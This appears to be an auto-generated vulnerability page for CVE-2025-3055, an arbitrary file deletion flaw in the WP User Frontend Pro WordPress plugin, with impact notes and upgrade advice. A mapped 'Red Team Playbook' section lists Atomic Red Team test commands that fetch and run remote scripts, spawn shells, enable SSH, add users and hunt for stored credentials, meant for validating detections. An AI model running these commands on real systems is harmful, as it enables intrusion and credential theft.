CVE-2025-3055
Overview
This vulnerability is a directory traversal flaw caused by insufficient validation of file paths in the delete_avatar_ajax() function within the WP User Frontend Pro plugin. The affected component improperly sanitizes user-supplied input used to specify files for deletion, allowing manipulation of the file path. This improper input validation occurs in all plugin versions up to and including 4.1.3.
Vulnerability Description
The WP User Frontend Pro plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_avatar_ajax() function in all versions up to, and including, 4.1.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
Impact
An attacker with Subscriber-level or higher access can exploit this vulnerability to delete arbitrary files on the web server, including critical configuration files like wp-config.php. This can result in remote code execution or site disruption. The attack requires authentication (PR:L) but no user interaction (UI:N) and can be performed remotely (AV:N). The impact includes potential site takeover, data loss, and denial of service, as indicated by the CVSS vector with high integrity and availability impacts.
Solution
Users should upgrade WP User Frontend Pro to a version later than 4.1.3 where the vulnerability is patched. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb71c31-9e56-4b58-9cfc-a97f6892cc2b) provides detailed patch information. No official workaround is documented; therefore, prompt updating to the fixed version is recommended to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WP User Frontend Pro plugin for WordPress arises from inadequate validation of file paths within the delete_avatar_ajax() function. This flaw allows authenticated users, even those with minimal permissions such as Subscriber-level access, to delete arbitrary files on the server. The lack of stringent checks means that attackers can manipulate the file deletion process, potentially targeting critical files that could compromise the entire web application. For instance, if an attacker successfully deletes the wp-config.php file, they could disrupt the website's functionality and expose sensitive configuration details, leading to further exploitation.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could craft a malicious request to the delete_avatar_ajax() function, specifying a file path that points to a sensitive file on the server. This could be achieved through social engineering tactics to gain access to a legitimate user account or by exploiting weak password policies. Once the attacker has access, they can execute the file deletion command, leading to significant consequences. In a more sophisticated scenario, the deletion of certain files could allow for remote code execution, enabling the attacker to upload malicious scripts or gain control over the server.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on WordPress for their web presence. The potential for arbitrary file deletion poses a severe business risk, as it can lead to data loss, service disruption, and reputational damage. For instance, if critical files are deleted, the website may become inoperable, resulting in downtime that can affect customer trust and revenue. Furthermore, if attackers leverage this vulnerability to gain deeper access to the server, they could exfiltrate sensitive data or deploy ransomware, amplifying the financial and operational repercussions for the affected organization.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews of plugins and themes are essential to identify vulnerabilities before they can be exploited. Additionally, monitoring file integrity can help detect unauthorized changes to critical files, allowing for swift incident response. Organizations should also enforce strict access controls, ensuring that only necessary permissions are granted to users. Updating the WP User Frontend Pro plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Employing a web application firewall (WAF) can also provide an additional layer of protection by filtering out malicious requests aimed at exploiting this weakness.
In conclusion, the vulnerability in the WP User Frontend Pro plugin exemplifies the risks associated with insufficient input validation in web applications. The ability for authenticated users to delete arbitrary files poses a significant threat to the integrity and security of WordPress sites. Organizations must remain vigilant, employing proactive security measures and maintaining up-to-date software to mitigate the risks posed by such vulnerabilities. By understanding the technical details, potential attack vectors, and real-world impacts, businesses can better prepare themselves against the evolving landscape of cybersecurity threats.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-3055 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/eeb71c31-9e56-4b58-9cfc-a97f6892cc2b?source=cve |
| headwayapp.co |
GitHub CVE
|
https://headwayapp.co/wp-user-frontend-changelog |